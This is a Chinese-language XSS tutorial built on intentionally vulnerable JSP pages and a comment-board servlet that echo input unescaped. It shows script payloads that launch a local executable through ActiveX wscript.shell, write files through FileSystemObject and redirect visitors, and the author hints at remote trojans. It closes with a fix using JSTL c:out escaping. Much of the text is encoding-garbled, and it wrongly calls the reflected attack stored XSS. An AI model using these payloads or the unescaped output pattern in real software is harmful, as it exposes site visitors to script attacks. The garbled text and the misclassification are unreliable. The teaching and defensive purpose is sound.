XSS又叫CSS (Cross Site Script) ,跨站腳本攻擊。它指的是惡意攻擊者往Web頁面里插入惡意腳本代碼,而程序?qū)τ谟脩糨斎雰?nèi)容未過濾,當用戶瀏覽該頁之時,嵌入其中Web里面的腳本代碼會被執(zhí)行,從而達到惡意攻擊用戶的特殊目的。
前言
大家好,好男人就是我,我就是好男人,我就是-0nise。在各大漏洞舉報平臺,我們時常會看到XSS漏洞。那么問題來了,為何會出現(xiàn)這種漏洞?出現(xiàn)這種漏洞應(yīng)該怎么修復(fù)?
正文
1.XSS?XSS?XSS是什么鬼?
XSS又叫跨站腳本攻擊(Cross Site Scripting),我不會告訴他原本是叫CSS的,但是為了不和我們所用的層疊樣式表(Cascading Style Sheets)CSS搞混。CSS(跨站腳本攻擊),CSS(層疊樣式表)傻傻分不清。所以就叫XSS咯。
2.XSS的危害是什么?
實驗一:
0x00構(gòu)造代碼
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<base href="<%=basePath%>">
<title>My JSP 'index.jsp' starting page</title>
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="expires" content="0">
<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
<meta http-equiv="description" content="This is my page">
</head>
<body>
<div style="margin: 0 auto">
<%
//設(shè)置編碼
request.setCharacterEncoding("UTF-8");
//接收用戶傳入值
String tmp = request.getParameter("opr");
//減速傳入值是否為空
if(tmp == null){
out.print("111");
}else{
//轉(zhuǎn)碼
String opr = new String(tmp.getBytes("ISO-8859-1"),"utf-8");
out.print(opr);
}
%>
我是內(nèi)容
</div>
</body>
</html>
0x01環(huán)境布局
0x02漏洞演練
我們訪問:http://localhost:8080/XSS/index.jsp?opr=i%E6%98%A5%E7%A7%8B
然后訪問:http://localhost:8080/XSS/index.jsp?opr=0nise
最后我們發(fā)現(xiàn)了一個“偉大的規(guī)律”:
opr參數(shù)等于什么頁面就打印什么。(好像是廢話)
我們接著來加載一個圖片看看
訪問:http://localhost:8080/XSS/index.jsp?opr=%3Cimg%20src=%221.png%22%3E%3C/img%3E
既然圖片都可以加載,那么我們JS文件是不是也闊以加載呢?
訪問:http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Ealert(/i%E6%98%A5%E7%A7%8B%E7%A4%BE%E5%8C%BA%E6%AC%A2%E8%BF%8E%E5%A4%A7%E5%AE%B6/)%3C/script%3E
Js?Js?那么是不是可以來改變跳轉(zhuǎn)后地址?
訪問:http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Elocation.href=%27http://bbs.ichunqiu.com%27%3C/script%3E
既然xss都可以加載js,那么,我們是不是通過js來打開本地的某些東西?
提前放了一個MD5.exe文件
訪問:http://localhost:8080/XSS/index.jsp?opr=<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("G:/work/XSS/WebRoot/Md5.exe");</script>
既然連本地文件都可以打開那么遠程文件木馬?來個電腦惡搞?這個自己慢慢象限。我可沒說啊。。。。。
文件都可以打開,那么寫一些文件呢?
訪問:http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Evar%20fso,tf;fso%20=%20new%20ActiveXObject(%22Scripting.FileSystemObject%22);tf%20=%20fso.CreateTextFile(%22d:\\test.txt%22,true);tf.WriteLine(%22i%E6%98%A5%E7%A7%8B%E7%A4%BE%E5%8C%BA%E6%AC%A2%E8%BF%8E%E6%82%A8%22);tf.Close();alert(%22%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%88%90%E5%8A%9F%EF%BC%81%22);%3C/script%3E
通過以上實驗我們可以看出opr參數(shù)賦值操作。如果opr參數(shù)沒有值的話,就無法執(zhí)行執(zhí)行,被攻擊者必須訪問攻擊者提前設(shè)計好的才能攻擊。這種XSS攻擊方式叫做:存儲型XSS
如果你想看到更給力的實驗,請接著往下看。
實驗二:
前言:
大部分網(wǎng)站都會和數(shù)據(jù)打交道那么,XSS漏洞出現(xiàn)這些網(wǎng)站是什么樣子的?
0x00構(gòu)造代碼
數(shù)據(jù)庫部分
BaseDao.java
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
public class BaseDAO {
//打開連接
public Connection getConn(){
Connection conn = null;
try {
Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver");
conn = DriverManager.getConnection("jdbc:sqlserver://localhost:1433;databaseName=SQLTMP","sa","sa");
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (SQLException e) {
e.printStackTrace();
}
return conn;
}
//關(guān)閉鏈接的方法
public void closeAll(Connection conn,Statement stat,ResultSet rs){
try {
if(rs != null)
rs.close();
if(stat != null)
stat.close();
if(conn != null)
conn.close();
} catch (SQLException e) {
e.printStackTrace();
}
}
//重載關(guān)閉方法
public void closeAll(Connection conn,PreparedStatement pstat,ResultSet rs){
try {
if(rs != null)
rs.close();
if(pstat != null)
pstat.close();
if(conn != null)
conn.close();
} catch (SQLException e) {
e.printStackTrace();
}
}
//繼續(xù)重載
public void closeAll(Connection conn,PreparedStatement pstat){
try {
if(pstat != null)
pstat.close();
if(conn != null)
conn.close();
} catch (SQLException e) {
e.printStackTrace();
}
}
//增刪改的公用方法
public int upDate(String sql,Object[] pram){
PreparedStatement pstat = null;
Connection conn = null;
int a = 0;
try {
conn = getConn();
pstat =conn.prepareStatement(sql);
//遍歷參數(shù)集合,將集合中的參數(shù)對應(yīng)添加到sql語句中
for (int i = 1; i <= pram.length; i++) {
pstat.setObject(i, pram[i-1]);
}
//調(diào)用方法
a = pstat.executeUpdate();
} catch (SQLException e) {
e.printStackTrace();
}finally{
closeAll(conn, pstat);
}
return a;
}
}
CommentDao.java
import java.sql.*;
import java.util.*;
import entity.*;
public class CommentDao extends BaseDAO {
/**
* 獲取所有留言
* */
public List<comm> GetComment(){
//SQL語句
String sql = "SELECT CID,CName,CContext FROM Comments";
List<comm> list = new ArrayList<comm>();
//數(shù)據(jù)庫連接對象
Connection conn = null;
//SQL執(zhí)行對象
PreparedStatement pstmt = null;
//數(shù)據(jù)庫執(zhí)行返回值
ResultSet rs = null;
try {
//創(chuàng)建數(shù)據(jù)庫鏈接
conn = this.getConn();
//創(chuàng)建SQL執(zhí)行對象
pstmt = conn.prepareStatement(sql);
//執(zhí)行SQL語句 返回值
rs = pstmt.executeQuery();
//讀取
while (rs.next()) {
comm comment = new comm();
comment.setCID(rs.getInt("CID"));
comment.setCName(rs.getString("CName"));
comment.setCContext(rs.getString("CContext"));
list.add(comment);
}
} catch (Exception e) {
e.printStackTrace();
}finally{
//關(guān)閉
this.closeAll(conn, pstmt, rs);
}
return list;
}
public int AddComment(comm comment){
String sql = "INSERT INTO Comments VALUES(?,?)";
//受影響行數(shù)
int result = 0;
//數(shù)據(jù)庫連接對象
Connection conn = null;
//SQL執(zhí)行對象
PreparedStatement pstmt = null;
try {
//創(chuàng)建數(shù)據(jù)庫鏈接
conn = this.getConn();
//創(chuàng)建SQL執(zhí)行對象
pstmt = conn.prepareStatement(sql);
//設(shè)置參數(shù)
pstmt.setString(1, comment.getCName());
pstmt.setString(2, comment.getCContext());
//執(zhí)行SQL語句
result = pstmt.executeUpdate();
} catch (Exception e) {
e.printStackTrace();
}finally{
this.closeAll(conn, pstmt);
}
return result;
}
}
CommentServlvet
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import entity.*;
public class CommentServlvet extends HttpServlet {
/**
* doGet()
*/
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
request.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
String opr = request.getParameter("opr");
CommentDao commentDao = new CommentDao();
//檢索參數(shù)是否為空
if(opr == null || opr.equals("all")){
request.setAttribute("all", commentDao.GetComment());
//轉(zhuǎn)發(fā)
request.getRequestDispatcher("comment.jsp").forward(request, response);
}else if (opr.equals("add")){
comm comment = new comm();
comment.setCName(request.getParameter("UName"));
comment.setCContext(request.getParameter("context"));
if(commentDao.AddComment(comment) > 0){
out.print("<script>alert('留言成功');location.href='CommentServlvet?opr=all';</script>");
}else{
out.print("<script>alert('留言失敗');location.href='CommentServlvet?opr=all';</script>");
}
}else{
request.setAttribute("all", commentDao.GetComment());
//轉(zhuǎn)發(fā)
request.getRequestDispatcher("comment.jsp").forward(request, response);
}
out.flush();
out.close();
}
/**
* doPost()
*/
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
doGet(request, response);
}
}
Comment.jsp
<%@ page language="java" import="java.util.*,entity.*" pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<base href="<%=basePath%>">
<title>My JSP 'comment.jsp' starting page</title>
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="expires" content="0">
<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
<meta http-equiv="description" content="This is my page">
</head>
<body>
<%
request.setCharacterEncoding("UTF-8");
if(request.getAttribute("all") == null){
request.getRequestDispatcher("CommentServlvet?opr=all").forward(request, response);
}
%>
<table>
<%
List<entity.comm> list = (List<entity.comm>)request.getAttribute("all");
for(int i = 0; i < list.size(); i++ ){
%>
<tr>
<td><%=list.get(i).getCName() %></td>
<td><%=list.get(i).getCContext() %></td>
</tr>
<%
}
%>
</table>
<form action="CommentServlvet?opr=add" method="post">
<textarea rows="5" cols="30" name="context"></textarea>
昵稱:<input type="text" name="UName" />
<input type="submit" value="提交" />
</form>
</body>
</html>
0x01漏洞實驗
root@1~#
我們在留言板留言:
<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("G:/work/XSS/WebRoot/Md5.exe");</script>
然后訪問:http://localhost:8080/XSS/comment.jsp
這樣只要訪問這個頁面,軟件就自動打開了,來個遠程文件?慢慢領(lǐng)悟。
root@2~#
我們在留言板留言:
<script>var fso,tf;fso = new ActiveXObject("Scripting.FileSystemObject");tf = fso.CreateTextFile("d:\\test.txt",true);tf.WriteLine("i春秋社區(qū)歡迎您");tf.Close();alert("文件寫入成功!");</script>
然后訪問: http://localhost:8080/XSS/comment.jsp
文件寫入成功。
root@3~#
留言內(nèi)容:
[code]<script>location.href='http://bbs.ichunqiu.com'</script>[code]
訪問頁面:http://localhost:8080/XSS/comment.jsp
訪問留言頁面自動跳轉(zhuǎn)到攻擊者特定的網(wǎng)站。難道這就是傳說中的劫持嗎?
3.XSS防御方案
正所謂哪里有攻擊,哪里就有防御。XSS一樣,有攻擊的方式,也有防御的方案。
EL表達式+JSTL標簽庫
EL(Expression Language):[size=12.0000pt]為了使JSP寫起來更簡單。表達式語言的靈感來自于ECMAScript和XPath表達式語語言,他提供了JSP中簡化表達式的方法,讓jsp代碼更簡單。
JSTL(JSP Standard Tag Library):開放源代碼的JSP標簽庫。
實驗一防御代碼:
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<base href="<%=basePath%>">
<title>My JSP 'index.jsp' starting page</title>
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="expires" content="0">
<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
<meta http-equiv="description" content="This is my page">
</head>
<body>
<div style="margin: 0 auto">
<%
request.setCharacterEncoding("UTF-8");
String tmp = request.getParameter("opr");
//減速傳入值是否為空
if(tmp == null){
out.print("111");
}else{
//轉(zhuǎn)碼
String opr = new String(tmp.getBytes("ISO-8859-1"),"utf-8");
request.setAttribute("name", opr);
%>
<c:out value="${requestScope.name }"></c:out>
<%
}
%>
我是內(nèi)容
</div>
</body>
</html>
實驗二防御代碼:
<%@ page language="java" import="java.util.*,entity.*" pageEncoding="UTF-8"%>
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<base href="<%=basePath%>">
<title>My JSP 'comment.jsp' starting page</title>
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="expires" content="0">
<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
<meta http-equiv="description" content="This is my page">
</head>
<body>
<%
request.setCharacterEncoding("UTF-8");
if(request.getAttribute("all") == null){
request.getRequestDispatcher("CommentServlvet?opr=all").forward(request, response);
}
%>
<table>
<!-- 防御XSS方案 -->
<c:forEach var="x" items="${requestScope.all }">
<tr>
<td>
<c:out value="${x.getCName() }"></c:out>
</td>
<td>
<c:out value="${x.getCContext() }"></c:out>
</td>
</tr>
</c:forEach>
</table>
<form action="CommentServlvet?opr=add" method="post">
<textarea rows="5" cols="30" name="context"></textarea>
昵稱:<input type="text" name="UName" />
<input type="submit" value="提交" />
</form>
</body>
</html>
結(jié)束語
技術(shù)無黑白,專研甚好。